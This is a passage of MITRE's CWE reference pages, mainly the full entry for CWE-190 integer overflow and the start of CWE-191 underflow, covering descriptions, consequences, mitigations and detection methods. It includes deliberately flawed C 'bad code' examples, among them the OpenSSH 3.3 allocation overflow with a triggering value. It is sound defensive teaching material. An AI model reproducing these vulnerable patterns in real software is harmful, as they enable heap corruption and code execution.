Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2007A7CWE More SpecificBroken Authentication and Session Management
OWASP Top Ten 2004A3CWE More SpecificBroken Authentication and Session Management
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 19: Use of Weak Password-Based Systems." Page 279. McGraw-Hill. 2010.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-03-29CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Other_Notes, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Modes_of_Introduction, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Description, Relationships, Type
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-07-20CWE Content TeamMITRE
updated Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References, Relationships
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Observed_Examples, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-190: Integer Overflow or Wraparound

Weakness ID: 190
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control.
+ Extended Description
An integer overflow or wraparound occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may wrap to become a very small or negative number. While this may be intended behavior in circumstances that rely on wrapping, it can have security consequences if the wrap is unexpected. This is especially the case if the integer overflow can be triggered using user-supplied inputs. This becomes security-critical when the result is used to control looping, make a security decision, or determine the offset or size in behaviors such as memory allocation, copying, concatenation, etc.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
ParentOfChainChain - a Compound Element that is a sequence of two or more separate weaknesses that can be closely linked together within software. One weakness, X, can directly create the conditions that are necessary to cause another weakness, Y, to enter a vulnerable condition. When this happens, CWE refers to X as "primary" to Y, and Y is "resultant" from X. Chains can involve more than two weaknesses, and in some cases, they might have a tree-like structure.680Integer Overflow to Buffer Overflow
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.128Wrap-around Error
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1339Insufficient Precision or Accuracy of a Real Number
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.189Numeric Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Instability

This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.
Integrity

Technical Impact: Modify Memory

If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.
Confidentiality
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism

This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following image processing code allocates a table for images.

(bad code)
Example Language:
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...

This code intends to allocate a table of size num_imgs, however as num_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

Example 2

The following code excerpt from OpenSSH 3.3 demonstrates a classic case of integer overflow:

(bad code)
Example Language:
nresp = packet_get_int();
if (nresp > 0) {
response = xmalloc(nresp*sizeof(char*));
for (i = 0; i < nresp; i++) response[i] = packet_get_string(NULL);
}

If nresp has the value 1073741824 and sizeof(char*) has its typical value of 4, then the result of the operation nresp*sizeof(char*) overflows, and the argument to xmalloc() will be 0. Most malloc() implementations will happily allocate a 0-byte buffer, causing the subsequent loop iterations to overflow the heap buffer response.

Example 3

Integer overflows can be complicated and difficult to detect. The following example is an attempt to show how an integer overflow may lead to undefined looping behavior:

(bad code)
Example Language:
short int bytesRec = 0;
char buf[SOMEBIGNUM];

while(bytesRec < MAXGET) {
bytesRec += getFromInput(buf+bytesRec);
}

In the above case, it is entirely possible that bytesRec may overflow, continuously creating a lower number than MAXGET and also overwriting the first MAXGET-1 bytes of buf.

Example 4

In this example the method determineFirstQuarterRevenue is used to determine the first quarter revenue for an accounting/business application. The method retrieves the monthly sales totals for the first three months of the year, calculates the first quarter sales totals from the monthly sales totals, calculates the first quarter revenue based on the first quarter sales, and finally saves the first quarter revenue results to the database.

(bad code)
Example Language:
#define JAN 1
#define FEB 2
#define MAR 3

short getMonthlySales(int month) {...}

float calculateRevenueForQuarter(short quarterSold) {...}

int determineFirstQuarterRevenue() {

// Variable for sales revenue for the quarter
float quarterRevenue = 0.0f;

short JanSold = getMonthlySales(JAN); /* Get sales in January */
short FebSold = getMonthlySales(FEB); /* Get sales in February */
short MarSold = getMonthlySales(MAR); /* Get sales in March */

// Calculate quarterly total
short quarterSold = JanSold + FebSold + MarSold;

// Calculate the total revenue for the quarter
quarterRevenue = calculateRevenueForQuarter(quarterSold);

saveFirstQuarterRevenue(quarterRevenue);

return 0;
}

However, in this example the primitive type short int is used for both the monthly and the quarterly sales variables. In C the short int primitive type has a maximum value of 32768. This creates a potential integer overflow if the value for the three monthly sales adds up to more than the maximum value for the short int primitive type. An integer overflow can lead to data corruption, unexpected behavior, infinite loops and system crashes. To correct the situation the appropriate primitive type should be used, as in the example below, and/or provide some validation mechanism to ensure that the maximum value for the primitive type is not exceeded.

(good code)
Example Language:
...
float calculateRevenueForQuarter(long quarterSold) {...}

int determineFirstQuarterRevenue() {
...
// Calculate quarterly total
long quarterSold = JanSold + FebSold + MarSold;

// Calculate the total revenue for the quarter
quarterRevenue = calculateRevenueForQuarter(quarterSold);

...
}

Note that an integer overflow could also occur if the quarterSold variable has a primitive type long but the method calculateRevenueForQuarter has a parameter of type short.

+ Observed Examples
ReferenceDescription
Chain: in a web browser, an unsigned 64-bit integer is forcibly cast to a 32-bit integer (CWE-681) and potentially leading to an integer overflow (CWE-190). If an integer overflow occurs, this can cause heap memory corruption (CWE-122)
Chain: Python library does not limit the resources used to process images that specify a very large number of bands (CWE-1284), leading to excessive memory consumption (CWE-789) or an integer overflow (CWE-190).
Chain: 3D renderer has an integer overflow (CWE-190) leading to write-what-where condition (CWE-123) using a crafted image.
Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV.
Chain: improper input validation (CWE-20) leads to integer overflow (CWE-190) in mobile OS, as exploited in the wild per CISA KEV.
Chain: unexpected sign extension (CWE-194) leads to integer overflow (CWE-190), causing an out-of-bounds read (CWE-125)
Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787).
Chain: integer overflow (CWE-190) causes a negative signed value, which later bypasses a maximum-only check (CWE-839), leading to heap-based buffer overflow (CWE-122).
Chain: integer overflow leads to use-after-free
Chain: integer overflow in securely-coded mail program leads to buffer overflow. In 2005, this was regarded as unrealistic to exploit, but in 2020, it was rediscovered to be easier to exploit due to evolutions of the technology.
Integer overflow via a large number of arguments.
Integer overflow in OpenSSH as listed in the demonstrative examples.
Image with large width and height leads to integer overflow.
Length value of -1 leads to allocation of 0 bytes and resultant heap overflow.
Length value of -1 leads to allocation of 0 bytes and resultant heap overflow.
chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119).
Chain: an integer overflow (CWE-190) in the image size calculation causes an infinite loop (CWE-835) which sequentially allocates buffers without limits (CWE-1325) until the stack is full.
+ Potential Mitigations

Phase: Requirements

Ensure that all protocols are strictly defined, such that all out-of-bounds behavior can be identified simply, and require strict conformance to the protocol.

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

If possible, choose a language or compiler that performs automatic bounds checking.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Use libraries or frameworks that make it easier to handle numbers without unexpected consequences.

Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++). [REF-106]

Phase: Implementation

Strategy: Input Validation

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

Use unsigned integers where possible. This makes it easier to perform validation for integer overflows. When signed integers are required, ensure that the range check includes minimum values as well as maximum values.

Phase: Implementation

Understand the programming language's underlying representation and how it interacts with numeric calculation (CWE-681). Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how the language handles numbers that are too large or too small for its underlying representation. [REF-7]

Also be careful to account for 32-bit, 64-bit, and other potential differences that may affect the numeric representation.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Compilation or Build Hardening

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.
+ Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Effectiveness: High

Black Box

Sometimes, evidence of this weakness can be detected using dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness: Moderate

Note: Without visibility into the code, black box methods may not be able to sufficiently distinguish this weakness from others, requiring follow-up manual methods to diagnose the underlying problem.

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

Effectiveness: High

Note: These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • Number Processing
  • Memory Management
  • Counters
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.738CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.742CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8022010 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8652011 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.872CERT C++ Secure Coding Section 04 - Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.876CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1137SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1158SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1162SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1200Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1337Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1350Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1408Comprehensive Categorization: Incorrect Calculation
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Integer overflows can be primary to buffer overflows.

Terminology

"Integer overflow" is sometimes used to cover several types of errors, including signedness errors, or buffer overflows that involve manipulation of integer data types instead of characters. Part of the confusion results from the fact that 0xffffffff is -1 in a signed context. Other confusion also arises because of the role that integer overflows have in chains.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInteger overflow (wrap or wraparound)
7 Pernicious KingdomsInteger Overflow
CLASPInteger overflow
CERT C Secure CodingINT18-CCWE More AbstractEvaluate integer expressions in a larger size before comparing or assigning to that size
CERT C Secure CodingINT30-CCWE More AbstractEnsure that unsigned integer operations do not wrap
CERT C Secure CodingINT32-CImpreciseEnsure that operations on signed integers do not result in overflow
CERT C Secure CodingINT35-CEvaluate integer expressions in a larger size before comparing or assigning to that size
CERT C Secure CodingMEM07-CCWE More AbstractEnsure that the arguments to calloc(), when multiplied, do not wrap
CERT C Secure CodingMEM35-CAllocate sufficient memory for an object
WASC3Integer Overflows
Software Fault PatternsSFP1Glitch in computation
ISA/IEC 62443Part 3-3Req SR 3.5
ISA/IEC 62443Part 3-3Req SR 7.2
ISA/IEC 62443Part 4-1Req SR-2
ISA/IEC 62443Part 4-1Req SI-2
ISA/IEC 62443Part 4-1Req SVV-1
ISA/IEC 62443Part 4-1Req SVV-3
ISA/IEC 62443Part 4-2Req CR 3.5
ISA/IEC 62443Part 4-2Req CR 7.2
+ References
[REF-145] Yves Younan. "An overview of common programming security vulnerabilities and possible solutions". Student thesis section 5.4.3. 2003-08. <http://fort-knox.org/thesis.pdf>.
[REF-146] blexim. "Basic Integer Overflows". Phrack - Issue 60, Chapter 10. <http://www.phrack.org/issues.html?issue=60&id=10#article>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 20, "Integer Overflows" Page 620. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 7: Integer Overflows." Page 119. McGraw-Hill. 2010.
[REF-106] David LeBlanc and Niels Dekker. "SafeInt". <http://safeint.codeplex.com/>.
[REF-150] Johannes Ullrich. "Top 25 Series - Rank 17 - Integer Overflow Or Wraparound". SANS Software Security Institute. 2010-03-18. <http://software-security.sans.org/blog/2010/03/18/top-25-series-rank-17-integer-overflow-or-wraparound>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Signed Integer Boundaries", Page 220. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2023-04-25"Mapping CWE to 62443" Sub-Working GroupCWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Relationship_Notes, Taxonomy_Mappings, Terminology_Notes
2008-10-14CWE Content TeamMITRE
updated Common_Consequences, Description, Potential_Mitigations, Terminology_Notes
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Description, Name
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors, Functional_Areas, Observed_Examples, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Terminology_Notes
2010-04-05CWE Content TeamMITRE
updated Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Potential_Mitigations, References
2010-09-27CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated References
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Functional_Areas, Observed_Examples, References, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated Relationships
2019-09-19CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Observed_Examples
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations
2021-07-20CWE Content TeamMITRE
updated Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples
2023-01-31CWE Content TeamMITRE
updated Description, Detection_Factors
2023-04-27CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2009-01-12Integer Overflow (Wrap or Wraparound)

CWE-191: Integer Underflow (Wrap or Wraparound)

Weakness ID: 191
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.
+ Extended Description
This can happen in signed and unsigned cases.
+ Alternate Terms
Integer underflow:

"Integer underflow" is sometimes used to identify signedness errors in which an originally positive number becomes negative as a result of subtraction. However, there are cases of bad subtraction in which unsigned integers are involved, so it's not always a signedness issue.

"Integer underflow" is occasionally used to describe array index errors in which the index is negative.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.189Numeric Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Instability

This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.
Integrity

Technical Impact: Modify Memory

